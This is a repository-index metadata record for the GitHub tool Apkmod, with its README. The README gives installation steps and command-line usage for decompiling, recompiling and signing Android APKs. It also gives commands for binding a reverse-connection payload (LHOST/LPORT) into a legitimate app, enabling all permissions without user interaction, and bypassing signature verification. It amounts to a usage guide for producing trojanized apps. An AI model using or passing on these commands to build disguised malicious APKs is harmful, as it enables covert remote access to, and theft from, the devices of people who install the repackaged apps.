{"id":13904121,"url":"https://github.com/Hax4us/Apkmod","last_synced_at":"2025-07-18T02:30:53.319Z","repository":{"id":44159683,"uuid":"205991910","full_name":"Hax4us/Apkmod","owner":"Hax4us","description":"Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP","archived":false,"fork":false,"pushed_at":"2022-11-13T20:37:15.000Z","size":7047,"stargazers_count":722,"open_issues_count":64,"forks_count":97,"subscribers_count":44,"default_branch":"master","last_synced_at":"2024-10-14T14:57:05.192Z","etag":null,"topics":["aapt2","apk","apkmod","apktool","bind","decompile","kali","payload","recompile","signing","termux"],"latest_commit_sha":null,"homepage":"","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Hax4us.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-09-03T04:55:26.000Z","updated_at":"2024-10-12T21:31:38.000Z","dependencies_parsed_at":"2023-01-23T04:01:05.825Z","dependency_job_id":null,"html_url":"https://github.com/Hax4us/Apkmod","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Hax4us%2FApkmod","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Hax4us%2FApkmod/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Hax4us%2FApkmod/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Hax4us%2FApkmod/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Hax4us","download_url":"https://codeload.github.com/Hax4us/Apkmod/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":226329062,"owners_count":17607729,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aapt2","apk","apkmod","apktool","bind","decompile","kali","payload","recompile","signing","termux"],"created_at":"2024-08-06T23:00:49.374Z","updated_at":"2024-11-25T12:31:15.619Z","avatar_url":"https://github.com/Hax4us.png","language":"Shell","readme":"# Apkmod v4.1\n### Author : Lokesh @Hax4us\n\n## _Steps For Installation_\n1. First goto home directory `cd $HOME`\n2. Get the setup script `wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh`\n3. Execute the script `bash setup.sh`\n4. Now you can execute command `apkmod`\n\n## Usage :\n1. For decompiling `apkmod -d -i /path/to/inapp.apk -o /path/to/outdirectory`. It will decompile __inapp.apk__ into __outdirectory__ folder.\n2. For recompiling `apkmod -r -i /path/to/indirectory -o /path/to/outapp.apk`. It will recompile __indirectory__ ( where decompiled files are exists ) into __outapp.apk__.\n3. For signing `apkmod -s -i /path/to/unsignedapp.apk -o /path/to/signedapp.apk`. It will sign __unsignedapp.apk__ and saves output ( signed app ) to __signedapp.apk__.\n4. For binding `apkmod -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444`. It will bind payload with __originalApp.apk__ and saves final binded app to __binded.apk__.\n5. Use `-V` to enable verbose output\n6. If only editing Java (smali) then this is the recommended action for faster decompile \u0026 rebuild `--no-res`\n7. If you are only editing the resources. This is the recommended action for faster disassemble \u0026 assemble `--no-smali`\n8. use `--frame-path` to specify framework directory like `--frame-path=/path/to/dir` \n9. Use `--enable-perm` to enable all android permissions in binded or non binded payloads without user interaction. For example :- `apkmod --enable-perm -i /path/to/binded.apk -o mybinded.apk`\n10. `apkmod --to-java -i /path/to/in.apk -o outfolder` will decompile dex to java. Input can be __[.apk,.dex,.zip]__\n11. Now you can use a optional option `-a` to use __aapt__ for __binding__ and __recompiling__. Why aapt ? Because some apps can't recompile with __aapt2__ but __aapt__ can do it. But I can't drop __aapt2__ support because some apps can't recompile with __aapt__ so first recompile or bind without __aapt__ (`-a`) then if you failed then try with __aapt__. For example `apkmod -a -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444` will use `aapt` otherwise `aapt2`.\n12. To change App name use `--appname` with `-i`. For example `apkmod --appname=\"New App Name\" -i /path/to/in.apk -o /path/to/out.apk`\n13. To remove/kill signature verification of app , `apkmod --signature-bypass --killer=k2 -i /path/to/in.apk -o /path/to/out.apk`. There are two version available of signature killer , one is k1 and second one is k2, you will have to specify version like `--killer=k1` or `--killer=k2`.\n### Size Comparision (Termux)\nSize  | Apkmod  | Third party tools\n--- | --- | ---\nafter installation | Around 100 MB | Around 700-900 MB\n\n#### Why Apkmod is extremely small ?\nBecause it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.\n\n#### You can join me on telegram also \nhttps://t.me/hax4us_group\n","funding_links":[],"categories":["Shell"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FHax4us%2FApkmod","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FHax4us%2FApkmod","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FHax4us%2FApkmod/lists"}